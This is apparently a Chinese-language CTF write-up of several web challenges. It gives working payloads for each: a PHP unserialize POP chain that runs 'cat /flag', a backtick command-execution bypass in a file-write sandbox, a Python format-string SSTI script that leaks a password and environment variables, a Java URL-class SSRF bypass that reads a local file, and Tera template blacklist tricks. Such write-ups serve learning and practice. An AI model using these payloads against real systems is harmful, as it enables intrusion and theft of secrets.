web01: php pop链
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
show_source(__FILE__);
error_reporting(0);
class Hacker{
private $exp;
private $cmd;
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;
public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}
class R
{
private $method;
private $args;
public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}
function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["pop"];
if (isset($a)){
unserialize(nonono($a));
}一眼pop链,得加速了,等下应该开很多人
过滤系统函数,字符串变少,过滤直接`反引号绕过
调用链
直接H->Hacker不久可以读到/flag文件,感觉是假的flag,但是还是要试一试,居然是真flag,也是不会爆0了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29// 实测可以调用到call_usr_function()
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class Hacker{
private $exp;
private $cmd;
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
$exp = new H();
$exp -> username = new Hacker();
echo serialize($exp),"<br>";
web02: php scandir 和 []
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}ctrl+u源码,看到scandir()
同时给出提示
backdoor_[a-f0-9]{16}\.php
我刚学的通配符用上了:
scandir("glob://backdoor_[a-f0-9]*.php")
爆破出后门然后看看内容
php代码执行,目测数组绕过,存到Array里
- 在
file_put_contents()
的时候数组转换是为空吗,但是这里有先字符串,所以还是Array文件 - 在
file_get_contents()
中数组并没有直接转成字符串,为空,判断符合,直接一套带走
- 在
如果这里strlen无法绕过,可以考虑竞争一下,感觉可行,因为文件名是同一个
exp: wp中直接绕过
?username=exp&title[]=123&data[]=<?=`nl+/*`;
刚好10个字符
escape: python format ssti
逆天原题杯 Helpful: [https://imaginaryctf.org/ArchivedChallenges/39]
/source
源码路由1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70from sqlite3 import *
from random import choice
from hashlib import sha512
from flask import Flask, request, Response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["50000 per hour"],
storage_uri="memory://", # 在内存中设置
)
salt = b'****************'
class PassHash(str):
def __str__(self):
return sha512(salt + self.encode()).hexdigest()
def __repr__(self):
return sha512(salt + self.encode()).hexdigest()
con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
"INSERT INTO users VALUES (?, ?)",
("admin", str(passhash))
)
con.commit()
def source():
return Response(open(__file__).read(), mimetype="text/plain")
def index():
if 'username' not in request.args or 'password' not in request.args:
return open("index.html").read()
else:
username = request.args["username"]
new_pwd = PassHash(request.args["password"])
con = connect("users.db")
cur = con.cursor()
res = cur.execute(
"SELECT * from users WHERE username = ? AND passhash = ?",
(username, str(new_pwd))
)
if res.fetchone():
return open("secret.html").read()
return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
.format(user=username)
.format(passhash=new_pwd)
)
if __name__ == "__main__":
app.run('0.0.0.0', 10000)参数化查询,无法sql注入
目的是要获取secret.html的内容,登录成功即可,无需注意admin,注意到
__file__
/index.html
是可以读的,是否需要后续写入?好像没有得注册,注意到admin的passhash在全局变量中
如果没有获取文件,则在passhash处ssti?(格式字符串漏洞)获取passhash这个变量,而且这里没有过滤 -> 思路对了,但是flask ssti不熟sad,看题解 –> 没有环境本地复现不了啊,本地python跑出来不一样啊,还是学思路就好
可以知道密码保存在全局的passhash对象中,利用字符串显示方法来获取
PassHash 虽然继承了 str, 但是只重写了
__str__
和__repr__
两个方法, 实例化时传入的 password 明文其实还保存在对象里面,要通过其他方法获取对象format获取明文:
username={passhash.__class__.__str__.__globals__[passhash]:>0}&password=2
::>0
表示左对齐, 会调用父类 str 的__format__
方法, 而不是__str__
和__repr__
, 进而得到明文爆破获取明文:
username={passhash.__class__.__str__.__globals__[passhash][0]}&password=2
1
2
3
4
5import requests
url = "http://localhost:5000/?username={passhash.__class__.__str__.__globals__[passhash]"
for i in range(20):
req = requests.get(url+f"[{i}]"+"}&password=2")
print(req.text)
登录后提示 flag 在环境变量里面
- ssti命令执行阶段
- payload:
username={passhash.__str__.__globals__[app].__init__.__globals__[os].environ}&password=2
- payload2:
{passhash.__class__.__repr__.__globals__[app].__init__.__globals__[os].environ}
HTTP: java ssrf
dirsearch开扫,发现由api,swagger-ui泄露
1
2
3[10:26:42] Starting:
[10:27:37] 200 - 92B - /swagger-resources
[10:27:41] 200 - 625B - /v2/api-docs随后进入
http://172.10.0.3:8080/swagger-ui/index.html
先
http://x.x.xx.x/vps
,发现user-agent中有java版本,猜测是通过URL类发起请求,尝试以下- 使用ftp也能正常获取内容,但是使用file的时候被过滤了
调试对应java版本的URL类,发现可以利用绕过的点
- 最终payload:
url:file:///flag%23a.html
1
2
3
4
5
6
7
8
9
10
11
12
13// 1. 可以提供url:作为开头,会直接跳过,不会过滤后面
if (spec.regionMatches(true, start, "url:", 0, 4)) {
start += 4;
}
// 2. 使用#后面的,可以使用#来绕过后缀检查,而且不会产生影响
if (start < spec.length() && spec.charAt(start) == '#') {
/* we're assuming this is a ref relative to the context URL.
* This means protocols cannot start w/ '#', but we must parse
* ref URL's like: "hello:there" w/ a ':' in them.
*/
aRef=true;
}- 最终payload:
Tera: rust ssti
- 看wp说是信息题
- google找一下+文档,[https://keats.github.io/tera/docs/#built-ins]
- 这里说说绕过黑名单的手法吧
- 拼接绕过:
{% set fla1 = get_env(name=fla) %}{% set fla1 = get_env(name=fla) %}
- 逆序绕过:
"""{% set f='galf'|reverse %}{% set f1 = get_env(name=f)|reverse %}{% if f1 is starting_with('""" + flag + i + """') %}ok{% endif %}"""
- 拼接绕过:
simple_rpc: 信息题略
总结
- web02中一定要比较清楚几个判断逻辑,尤其在
file_get_contents()
这里和自动转换,最好实操一下,不要一意孤行,Array不会自动转为string,下列的转换是在.
的作用下才 - http中有时找不到文章但是知道版本情况下可以考虑看看源码的利用点,对于过滤知道是黑名单还是正则(或者是白名单)很有用
- 有些题目没有搜到对应的内容并且确定不是熟悉的可能就是信息题,利用一般攻击思路+对应语法的构造方法即可,文档看起来也不麻烦,一小时可以看很熟练了
- 像simple_rpc这种由配置版本信息的可以查查历史漏洞